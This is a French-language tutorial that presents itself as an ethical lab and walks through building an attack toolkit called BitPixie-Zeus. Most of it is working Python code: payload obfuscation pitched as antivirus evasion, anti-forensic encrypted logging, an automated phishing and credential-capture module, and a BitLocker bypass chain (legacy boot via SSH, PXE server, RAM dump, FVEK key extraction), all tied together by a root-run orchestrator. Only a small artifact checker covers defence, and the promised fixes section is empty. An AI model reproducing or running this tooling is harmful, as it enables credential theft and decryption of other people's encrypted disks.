🔓 BitPixie-Zeus v2.0 — Lab Réel pour Comprendre et Défendre Contre des Attaques Sans Limites

🛠️ Phase 1 : Le Setup - Comme en Prod, Pas en Jouet

Écoute-moi bien, mon frère. On va faire ça propre. Comme un chirurgien qui ouvre un corps pour comprendre comment le sauver. Du réel, du concret, de l'utile.

Le Mindset : Quand je te parle, imagine que tu es devant ton lab. Les mains sur le clavier. Les câbles réseau entre les doigts. L'odeur du métal chaud. C'est là que ça se passe. Pas dans les slides PowerPoint.

Matos Nécessaire - La Liste Crue :

• 2 PC minimum (1 Win11, 1 Debian) - si t'as plus, prends plus
• 1 switch manageable (TP-Link TL-SG108E fait l'affaire)
• 2 routeurs (pfSense + MikroTik)
• Câbles Ethernet - des vrais, pas ces merdes qui perdent des paquets
• Une enclosure Thunderbolt (AKiTiO Node ou similaire)

Branchement - Étape par Étape :

1. PC1 (Win11) → Port 1 du switch (VLAN1)
2. PC2 (Debian) → Port 8 du switch (VLAN2)
3. Switch → Port LAN du pfSense
4. pfSense (WAN) → Ton réseau "internet" simulé
5. MikroTik → Port WAN sur switch, LAN sur PC2

Maintenant, la config réseau - écoute bien :

Pourquoi on fait ça ? Parce qu'en prod, les réseaux sont segmentés. Un hacker doit comprendre comment pivoter. Toi aussi.

💻 Phase 3 : Le Code - Chaque Ligne Expliquée

Structure du projet :

Mkdir et touch les files – organise-toi comme un pro.

core/crypto_utils.py : L'art de se cacher :

#!/usr/bin/env python3
import base64
import random
from cryptography.fernet import Fernet
class CryptoUtils:
    def __init__(self):
        self.log_key = Fernet.generate_key()
        self.cipher = Fernet(self.log_key)

    def obfuscate_payload(self, payload):
        """
        XOR + base64 - simple mais efficace
        Pourquoi ? Parce que les AV cherchent des patterns fixes.
        Le XOR random, ça passe souvent sous le radar.
        """
        key = random.randint(0xAA, 0xFF) # Clé entre 170 et 255
        obfuscated = bytes([b ^ key for b in payload.encode()])
        return base64.b64encode(obfuscated).decode(), key

    def deobfuscate_payload(self, obfuscated_payload, key):
        """Désobfuscation - l'inverse du processus"""
        decoded = base64.b64decode(obfuscated_payload)
        return bytes([b ^ key for b in decoded]).decode()

    def encrypt_log(self, message):
        """Chiffre les logs - anti-forensique basique"""
        encrypted = self.cipher.encrypt(message.encode())
        with open('/dev/shm/zeus.log', 'ab') as f:
            f.write(encrypted + b'\n')

Teste cette class seule : obfuscate "test" et deobfuscate – vérifie que ça marche.

attacks/phishing_selenium.py : L'hameçonnage automatisé :

#!/usr/bin/env python3
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from core.crypto_utils import CryptoUtils
import time
class PhishingAttack:
    def __init__(self):
        self.crypto = CryptoUtils()
        self.driver = None

    def setup_browser(self, headless=True):
        """Configure Firefox pour être discret"""
        options = Options()
        options.headless = headless
        # Options pour ressembler à un navigateur normal
        options.set_preference("dom.webdriver.enabled", False)
        options.set_preference("useAutomationExtension", False)
        self.driver = webdriver.Firefox(options=options)

    def bing_phishing(self, target_url, search_query="mise à jour sécurité windows"):
        """
        Automatise une recherche Bing et clique sur un lien malveillant
        Pourquoi Bing ? Parce que c'est le moteur par défaut de Windows 11
        """
        try:
            self.setup_browser()

            # Étape 1: Recherche Bing
            self.driver.get(f"https://www.bing.com/search?q={search_query}")

            # Étape 2: Attendre et cliquer sur le premier résultat "officiel"
            wait = WebDriverWait(self.driver, 10)
            first_result = wait.until(
                EC.element_to_be_clickable((By.CSS_SELECTOR, "h2 a"))
            )
            first_result.click()

            # Étape 3: Attendre redirection vers notre faux site
            time.sleep(2)
            self.driver.get(target_url)

            # Étape 4: Récupération automatique des credentials
            # Si le formulaire existe
            username_field = self.driver.find_element(By.NAME, "username")
            password_field = self.driver.find_element(By.NAME, "password")

            # Simule la saisie utilisateur
            username_field.send_keys("fake_user")
            password_field.send_keys("fake_pass")

            # Récupère ce qui a été saisi (dans un vrai scénario, on attendrait la soumission)
            credentials = f"{username_field.get_attribute('value')}:{password_field.get_attribute('value')}"

            # Obfuscation pour le transport
            obf_creds, key = self.crypto.obfuscate_payload(credentials)

            return obf_creds, key

        except Exception as e:
            self.crypto.encrypt_log(f"Phishing failed: {str(e)}")
            return None, None
        finally:
            if self.driver:
                self.driver.quit()

Configure un faux site local avec Apache : a2enmod rewrite, et teste le form capture.

attacks/bitpixie_chain.py : Le cœur de l'attaque BitLocker :

#!/usr/bin/env python3
import subprocess
import time
import os
from core.crypto_utils import CryptoUtils
class BitPixieAttack:
    def __init__(self, target_ip):
        self.target_ip = target_ip
        self.crypto = CryptoUtils()

    def enable_legacy_boot(self, credentials):
        """
        Force le boot legacy - nécessaire pour BitPixie
        CVE-2023-21563 : Le bootmgr ne nettoie pas correctement la RAM
        """
        try:
            # Commande PowerShell à distance
            cmd = f"ssh {credentials}@{self.target_ip} 'bcdedit /set {{default}} bootmenupolicy legacy'"
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

            if result.returncode == 0:
                self.crypto.encrypt_log("Legacy boot enabled successfully")
                return True
            else:
                self.crypto.encrypt_log(f"Failed to enable legacy boot: {result.stderr}")
                return False

        except Exception as e:
            self.crypto.encrypt_log(f"Error enabling legacy boot: {str(e)}")
            return False

    def setup_tftp_pxe(self):
        """Configure le serveur TFTP/PXE pour le boot vulnérable"""
        try:
            # Crée le répertoire TFTP s'il n'existe pas
            os.makedirs("/tftpboot", exist_ok=True)

            # Copie les fichiers de boot vulnérables
            subprocess.run("cp bitpixie/boot/* /tftpboot/", shell=True)

            # Configure dnsmasq pour servir PXE
            dnsmasq_conf = f"""
            interface=eth0
            dhcp-range=192.168.1.100,192.168.1.150,255.255.255.0
            dhcp-boot=pxelinux.0
            enable-tftp
            tftp-root=/tftpboot
            """

            with open("/etc/dnsmasq.conf", "w") as f:
                f.write(dnsmasq_conf)

            # Redémarre dnsmasq
            subprocess.run("systemctl restart dnsmasq", shell=True)
            self.crypto.encrypt_log("TFTP/PXE server configured")

        except Exception as e:
            self.crypto.encrypt_log(f"TFTP setup failed: {str(e)}")

    def trigger_pxe_boot(self, credentials):
        """Force la cible à booter via PXE"""
        try:
            # Redémarrage forcé
            cmd = f"ssh {credentials}@{self.target_ip} 'shutdown /r /t 0'"
            subprocess.run(cmd, shell=True)

            self.crypto.encrypt_log("PXE boot triggered - waiting for recovery mode")
            time.sleep(30) # Attendre le boot en mode récupération

        except Exception as e:
            self.crypto.encrypt_log(f"Failed to trigger PXE boot: {str(e)}")

    def dump_ram(self):
        """Dump de la mémoire avec LiME"""
        try:
            # Compile LiME si pas déjà fait
            if not os.path.exists("LiME/src/lime.ko"):
                subprocess.run("cd LiME/src && make", shell=True)

            # Charge le module LiME pour dump mémoire
            subprocess.run(f"insmod LiME/src/lime.ko path=/tmp/ram.lime format=lime", shell=True)
            time.sleep(10) # Attendre le dump

            # Décharge le module
            subprocess.run("rmmod lime", shell=True)

            self.crypto.encrypt_log("RAM dump completed: /tmp/ram.lime")

        except Exception as e:
            self.crypto.encrypt_log(f"RAM dump failed: {str(e)}")

    def extract_bitlocker_keys(self):
        """Extrait les clés BitLocker de la mémoire"""
        try:
            # Utilise volatility avec le plugin bitlocker
            cmd = "volatility -f /tmp/ram.lime bitlocker"
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

            fvek = None
            for line in result.stdout.split('\n'):
                if "FVEK" in line:
                    fvek = line.split(":")[1].strip()
                    break

            if fvek:
                with open("/tmp/fvek.txt", "w") as f:
                    f.write(fvek)
                self.crypto.encrypt_log(f"FVEK extracted: {fvek[:20]}...")
                return fvek
            else:
                self.crypto.encrypt_log("FVEK not found in memory dump")
                return None

        except Exception as e:
            self.crypto.encrypt_log(f"Key extraction failed: {str(e)}")
            return None

    def execute_full_attack(self, credentials):
        """Exécute la chaîne complète BitPixie"""
        self.crypto.encrypt_log("Starting BitPixie attack chain")

        if not self.enable_legacy_boot(credentials):
            return False

        self.setup_tftp_pxe()
        self.trigger_pxe_boot(credentials)
        self.dump_ram()
        fvek = self.extract_bitlocker_keys()

        return fvek is not None

Compile et teste – si error, check les dependencies.

core/orchestrator.py : Le cerveau de l'opération :

#!/usr/bin/env python3
import time
import sys
import os
from attacks.phishing_selenium import PhishingAttack
from attacks.bitpixie_chain import BitPixieAttack
from attacks.dma_thunderbolt import DMAAttack
from attacks.kernel_exploit import KernelExploit
from defense.forensic_detector import ForensicDetector
class ZeusOrchestrator:
    def __init__(self):
        self.config = {
            "TARGET_WIN": "192.168.1.10",
            "TARGET_DEB": "192.168.2.10",
            "NET1": "192.168.1.0/24",
            "NET2": "192.168.2.0/24",
            "PHISH_URL": "http://192.168.1.100/fake_update"
        }

        self.phisher = PhishingAttack()
        self.bitpixie = BitPixieAttack(self.config["TARGET_WIN"])
        self.dma = DMAAttack()
        self.kernel = KernelExploit(self.config["TARGET_DEB"])
        self.forensic = ForensicDetector()

    def print_banner(self):
        banner = """
        ╔═══════════════════════════════════════╗
        ║ BITPIXIE-ZEUS v2.0                    ║
        ║ LAB RÉEL - ÉTHIQUE ONLY               ║
        ║                                       ║
        ║ Comprendre pour Défendre              ║
        ╚═══════════════════════════════════════╝
        """
        print(banner)

    def full_attack_chain(self):
        """Exécute la chaîne d'attaque complète"""
        print("[+] Starting full attack chain...")

        # Étape 1: Phishing
        print("[1/4] Phishing attack...")
        creds, key = self.phisher.bing_phishing(self.config["PHISH_URL"])
        if not creds:
            print("[-] Phishing failed")
            return False

        # Étape 2: BitPixie
        print("[2/4] BitPixie attack...")
        if not self.bitpixie.execute_full_attack(creds):
            print("[-] BitPixie failed")
            return False

        # Étape 3: DMA
        print("[3/4] DMA attack...")
        if not self.dma.execute():
            print("[-] DMA failed")

        # Étape 4: Kernel exploit
        print("[4/4] Kernel exploit...")
        if not self.kernel.exploit(creds):
            print("[-] Kernel exploit failed")

        print("[+] Attack chain completed")
        return True

    def menu(self):
        """Menu principal"""
        while True:
            print("\n" + "="*50)
            print("BITPIXIE-ZEUS v2.0 - MAIN MENU")
            print("="*50)
            print("1. Full Attack Chain")
            print("2. Individual Attacks")
            print("3. Forensic Detection")
            print("4. Exit")
            print("="*50)

            choice = input("Select option: ").strip()

            if choice == "1":
                self.full_attack_chain()
            elif choice == "2":
                self.individual_attacks_menu()
            elif choice == "3":
                self.forensic.check_artifacts()
            elif choice == "4":
                print("Exiting...")
                break
            else:
                print("Invalid option")

    def individual_attacks_menu(self):
        """Menu des attaques individuelles"""
        while True:
            print("\n" + "-"*30)
            print("INDIVIDUAL ATTACKS")
            print("-"*30)
            print("1. Phishing Only")
            print("2. BitPixie Only")
            print("3. DMA Only")
            print("4. Kernel Exploit Only")
            print("5. Back to Main Menu")

            choice = input("Select attack: ").strip()

            if choice == "1":
                self.phisher.bing_phishing(self.config["PHISH_URL"])
            elif choice == "2":
                creds = input("Enter credentials (user:pass): ")
                self.bitpixie.execute_full_attack(creds)
            elif choice == "3":
                self.dma.execute()
            elif choice == "4":
                creds = input("Enter credentials (user:pass): ")
                self.kernel.exploit(creds)
            elif choice == "5":
                break
            else:
                print("Invalid option")
if __name__ == "__main__":
    if os.geteuid() != 0:
        print("This script must be run as root")
        sys.exit(1)

    orchestrator = ZeusOrchestrator()
    orchestrator.print_banner()
    orchestrator.menu()

Le menu est ton contrôle – test phase par phase.

🛡️ Phase 5 : Détection et Défense - Comprendre pour mieux se protéger

defense/forensic_detector.py :

#!/usr/bin/env python3
import os
import subprocess
class ForensicDetector:
    def check_artifacts(self):
        """Cherche les artefacts de notre propre attaque"""
        print("\n[FORENSIC] Checking for attack artifacts...")

        artifacts = [
            "/tmp/ram.lime",
            "/tftpboot/bootmgr",
            "/tmp/fvek.txt",
            "/dev/shm/zeus.log"
        ]

        found = []
        for artifact in artifacts:
            if os.path.exists(artifact):
                print(f"⚠️ FOUND: {artifact}")
                found.append(artifact)

        # Check des modifications BCD
        bcd_result = subprocess.run(
            "bcdedit /enum | findstr bootmenupolicy",
            shell=True,
            capture_output=True,
            text=True
        )
        if "legacy" in bcd_result.stdout.lower():
            print("⚠️ FOUND: Legacy boot policy enabled")
            found.append("BCD Legacy Policy")

        if found:
            print(f"\n🎯 Total artifacts found: {len(found)}")
            return found
        else:
            print("✅ No artifacts detected")
            return []

Lance après chaque test – voit ce que tu laisses derrière toi.

Les correctifs - ce que tu dois mettre en place :

Applique ces correctifs sur tes cibles – relance l'attaque, voit si elle fail.

📈 Métriques Réelles : Comment Savoir Si Ça Marche Vraiment

🧪 Validation : Checklist de Succès Pour Chaque Phase

💪 Exercices : Teste Tes Compétences

🌟 Conclusion : Tu Es Prêt, Apache !

Tu as maintenant le savoir. Utilise-le. Pense sans limites, mais avec éthique. Peut-être que tu trouves la prochaine faille. Ou que tu la corriges. C'est ça, l'esprit apache.